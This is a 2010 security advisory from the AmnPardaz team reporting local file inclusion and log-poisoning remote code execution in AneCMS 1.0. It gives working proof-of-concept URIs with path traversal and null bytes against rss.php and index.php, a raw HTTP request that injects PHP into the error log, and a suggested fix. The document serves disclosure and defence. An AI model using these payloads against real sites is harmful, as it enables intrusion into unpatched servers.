AneCMS Multiple Vulnerabilities

2010-04-12T00:00:00
ID SECURITYVULNS:DOC:23606
Type securityvulns
Reporter Securityvulns
Modified 2010-04-12T00:00:00

Description

####################www.BugReport.ir

AmnPardaz Security Research Team

Title: AneCMS Multiple Vulnerabilities

Vendor: http://anecms.com/

Vulnerable Version: 1.0 (Latest version till now)

Exploitation: Remote with a RAW HTTP packet sender

Fix: N/A

  • Description:

AneCMS is a small and fast CMS completely modular. Written in PHP with
JS(jQuery), Multilanguage, Skinnable and has an online repository of modules accessible from the ACP of the
CMS. Using MySQL as the backend DBMS.

  • Vulnerability:

+--> Local File Inclusion (LFI) The AneCMS try to locate local files for responding users according
to GET parameters. There are 25 infected files, but approximately whole of them are protected else of the
'index.php' and 'rss.php' files. Check the exploits section for the details.

+--> Remote Code Execution With a RAW HTTP packet sender, you can send unescaped php code to
AneCMS. Then this code can be executed using the LFI vulnerability. Check the exploits section for the details.

  • Exploits/PoCs:

+--> Exploiting The Local File Inclusion (LFI) For the 'rss.php', you can select local file relative path from the
'modules' directory using 'module' GET parameter. For example following URI can be used for inspecting the
'.htaccess' file: http://target.com/rss.php?module=../.htaccess%00 For the 'index.php', you can select local file relative path from the
'system/ajax' directory using 'ajax' GET parameter. For example following URI can be used for inspecting the
'.htaccess' file: http://target.com/index.php?ajax=../../.htaccess%00

+--> Remote Code Execution This attack should be done in two phases. First use the LFI to inject
the desired php code in the web server log file. Then use the LFI again to execute it. For example if you want to run '<?php echo "ShahShah..."; ?>' code,
first send the following HTTP packet: GET /rss.php?module=../<?php echo "ShahShah..."; ?>%00 HTTP/1.0 Host: target.com User-Agent: UA

    This packet will inject the &#39;&lt;?php echo &quot;ShahShah...&quot;; ?&gt;&#39; in the

error logs. Then visit following URI: http://target.com/rss.php?module=../the/path/to/logs/folder/logs/php_error.log%00

    Above URI will include the error log &#40;including your injected code&#41;

and execute it.

  • Solution:

Instead of generating the inclusion path by GET parameters directly,
check the value of the parameter and then include the valid hard-coded file path.

  • Original Advisory:

http://www.bugreport.ir/index_71.htm

  • Credit:

AmnPardaz Security Research & Penetration Testing Group Contact: admin[4t}bugreport{d0t]ir www.BugReport.ir www.AmnPardaz.com